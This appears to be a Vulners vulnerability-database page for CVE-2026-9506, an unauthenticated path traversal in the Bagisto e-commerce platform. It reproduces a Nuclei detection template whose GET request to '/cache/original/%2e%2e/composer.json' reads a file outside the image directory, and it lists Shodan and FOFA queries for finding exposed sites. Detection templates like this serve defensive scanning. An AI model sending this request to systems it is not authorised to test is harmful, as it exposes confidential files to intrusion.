Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2026-9506 | 8 Jun 202609:28 | – | attackerkb | |
| CVE-2026-9506 | 8 Jun 202611:30 | – | circl | |
| Bagisto 路径遍历漏洞 | 8 Jun 202600:00 | – | cnnvd | |
| CVE-2026-9506 | 8 Jun 202609:28 | – | cve | |
| CVE-2026-9506 Path Traversal Vulnerability in Bagisto | 8 Jun 202609:28 | – | cvelist | |
| EUVD-2026-35036 | 8 Jun 202609:28 | – | euvd | |
| CVE-2026-9506 | 8 Jun 202610:16 | – | nvd | |
| PT-2026-47266 | 8 Jun 202600:00 | – | ptsecurity | |
| CVE-2026-9506 | 9 Jun 202614:59 | – | redhatcve | |
| Directory Traversal | 8 Jun 202611:19 | – | snyk |
10
id: CVE-2026-9506
info:
name: Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read
author: str4k3r
severity: high
description: |
Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.
impact: |
Unauthenticated attackers can read arbitrary sensitive files, potentially exposing confidential information.
remediation: Fixed in 2.4.2, which adds realpath() containment and '../' sanitisation.
reference:
- https://github.com/advisories/GHSA-qhcg-rw5x-vg94
- https://nvd.nist.gov/vuln/detail/CVE-2026-9506
- https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0292
- https://www.ionix.io/threat-center/cve-2026-9506/
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
cvss-score: 8.7
cve-id: CVE-2026-9506
epss-score: 0.00455
epss-percentile: 0.37545
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: webkul
product: bagisto
shodan-query: http.html:"Bagisto"
fofa-query: body="bagisto"
tags: cve,cve2026,bagisto,webkul,lfi,unauth
http:
- method: GET
path:
- "{{BaseURL}}/cache/original/%2e%2e/composer.json"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"name": "bagisto/bagisto"'
- 'Bagisto Laravel E-Commerce'
condition: or
- type: status
status:
- 200
# digest: 4a0a00473045022100bba75c83dda5b61195bba09112a8b6e924c6022109937ac7669773bcfdc258b6022048d1a141c2314e926411e5199dde5fe7ab1e97588e7114953c268dffb13e3c30:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Aug 2026 02:45Current
5.4Medium risk
Vulners AI Score5.4
CVSS 48.7
EPSS0.00455
SSVC